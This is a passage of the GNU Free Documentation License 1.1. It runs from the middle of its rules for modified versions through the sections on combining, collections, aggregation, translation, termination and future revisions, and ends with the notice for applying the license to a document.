B. List on the Title Page, as authors, one or more persons or entities responsible for authorship of the modifications in the Modified Version, together with at least five of the principal authors of the Document (all of its principal authors, if it has less than five).

C. State on the Title page the name of the publisher of the Modified Version, as the publisher.

D. Preserve all the copyright notices of the Document.

E. Add an appropriate copyright notice for your modifications adjacent to the other copyright notices.

F. Include, immediately after the copyright notices, a license notice giving the public permission to use the Modified Version under the terms of this License, in the form shown in the Addendum below.

G. Preserve in that license notice the full lists of Invariant Sections and required Cover Texts given in the Document's license notice.

H. Include an unaltered copy of this License.

I. Preserve the section entitled "History", and its title, and add to it an item stating at least the title, year, new authors, and publisher of the Modified Version as given on the Title Page. If there is no section entitled "History" in the Document, create one stating the title, year, authors, and publisher of the Document as given on its Title Page, then add an item describing the Modified Version as stated in the previous sentence.

J. Preserve the network location, if any, given in the Document for public access to a Transparent copy of the Document, and likewise the network locations given in the Document for previous versions it was based on. These may be placed in the "History" section. You may omit a network location for a work that was published at least four years before the Document itself, or if the original publisher of the version it refers to gives permission.

K. In any section entitled "Acknowledgements" or "Dedications", preserve the section's title, and preserve in

the section all the substance and tone of each of the contributor acknowledgements and/or dedications given therein.

L. Preserve all the Invariant Sections of the Document, unaltered in their text and in their titles. Section numbers or the equivalent are not considered part of the section titles.

M. Delete any section entitled "Endorsements". Such a section may not be included in the Modified Version.

N. Do not retitle any existing section as "Endorsements" or to conflict in title with any Invariant Section.

If the Modified Version includes new front-matter sections or appendices that qualify as Secondary Sections and contain no material copied from the Document, you may at your option designate some or all of these sections as invariant. To do this, add their titles to the list of Invariant Sections in the Modified Version's license notice. These titles must be distinct from any other section titles.

You may add a section entitled "Endorsements", provided it contains nothing but endorsements of your Modified Version by various parties--for example, statements of peer review or that the text has been approved by an organization as the authoritative definition of a standard.

You may add a passage of up to five words as a Front-Cover Text, and a passage of up to 25 words as a Back-Cover Text, to the end of the list of Cover Texts in the Modified Version. Only one passage of Front-Cover Text and one of Back-Cover Text may be added by (or through arrangements made by) any one entity. If the Document already includes a cover text for the same cover, previously added by you or by arrangement made by the same entity you are acting on behalf of, you may not add another; but you may replace the old one, on explicit permission from the previous publisher that added the old one.

The author(s) and publisher(s) of the Document do not by this License give permission to use their names for publicity for or to assert or imply endorsement of any Modified Version.

5. COMBINING DOCUMENTS

You may combine the Document with other documents released under this License, under the terms defined in section 4 above for modified versions, provided that you include in the combination all of the Invariant Sections of all of the original documents, unmodified, and list them all as Invariant Sections of your combined work in its license notice.

The combined work need only contain one copy of this License, and multiple identical Invariant Sections may be replaced with a single copy. If there are multiple Invariant Sections with the same name but different contents, make the title of each such section unique by adding at the end of it, in parentheses, the name of the original author or publisher of that section if known, or else a unique number. Make the same adjustment to the section titles in the list of Invariant Sections in the license notice of the combined work.

In the combination, you must combine any sections entitled "History" in the various original documents, forming one section entitled "History"; likewise combine any sections entitled "Acknowledgements", and any sections entitled "Dedications". You must delete all sections entitled "Endorsements."

6. COLLECTIONS OF DOCUMENTS

You may make a collection consisting of the Document and other documents released under this License, and replace the individual copies of this License in the various documents with a single copy that is included in the collection, provided that you follow the rules of this License for verbatim copying of each of the documents in all other respects.

You may extract a single document from such a collection, and distribute it individually under this License, provided you insert a copy of this License into the extracted document, and follow this License in all other respects regarding verbatim copying of that document.

7. AGGREGATION WITH INDEPENDENT WORKS

A compilation of the Document or its derivatives with other separate and independent documents or works, in or on a volume of a storage or distribution medium, does not as a whole count as a Modified Version of the Document, provided no compilation copyright is claimed for the compilation. Such a compilation is called an "aggregate", and this License does not apply to the other self-contained works thus compiled with the Document, on account of their being thus compiled, if they are not themselves derivative works of the Document.

If the Cover Text requirement of section 3 is applicable to these copies of the Document, then if the Document is less than one quarter of the entire aggregate, the Document's Cover Texts may be placed on covers that surround only the Document within the aggregate. Otherwise they must appear on covers around the whole aggregate.

8. TRANSLATION

Translation is considered a kind of modification, so you may distribute translations of the Document under the terms of section 4. Replacing Invariant Sections with translations requires special permission from their copyright holders, but you may include translations of some or all Invariant Sections in addition to the original versions of these Invariant Sections. You may include a translation of this License provided that you also include the original English version of this License. In case of a disagreement between the translation and the original English version of this License, the original English version will prevail.

9. TERMINATION

You may not copy, modify, sublicense, or distribute the Document except as expressly provided for under this License. Any other attempt to copy, modify, sublicense or distribute the Document is void, and will automatically terminate your rights under this License. However, parties who have received copies, or rights, from you under this License will not have their licenses terminated so long as such parties remain in full compliance.

10. FUTURE REVISIONS OF THIS LICENSE

The Free Software Foundation may publish new, revised versions of the GNU Free Documentation License from time to time. Such new versions will be similar in spirit to the present version, but may differ in detail to address new problems or concerns. See http://www.gnu.org/copyleft/.

Each version of the License is given a distinguishing version number. If the Document specifies that a particular numbered version of this License "or any later version" applies to it, you have the option of following the terms and conditions either of that specified version or of any later version that has been published (not as a draft) by the Free Software Foundation. If the Document does not specify a version number of this License, you may choose any version ever published (not as a draft) by the Free Software Foundation.

How to use this License for your documents

To use this License in a document you have written, include a copy of the License in the document and put the following copyright and license notices just after the title page:

> Copyright (c) YEAR YOUR NAME. Permission is granted to copy, distribute and/or modify this document under the terms of the GNU Free Documentation License, Version 1.1 or any later version published by the Free Software Foundation; with the Invariant Sections being LIST THEIR TITLES, with the Front-Cover Texts being LIST, and with the Back-Cover Texts being LIST. A copy of the license is included in the section entitled "GNU Free Documentation License".

If you have no Invariant Sections, write "with no Invariant Sections" instead of saying which ones are invariant. If you have no Front-Cover Texts, write "no Front-Cover Texts" instead of "Front-Cover Texts being LIST"; likewise for Back-Cover Texts.

If your document contains nontrivial examples of program code, we recommend releasing these examples in parallel under your choice of free software license, such as the GNU General Public License, to permit their use in free software.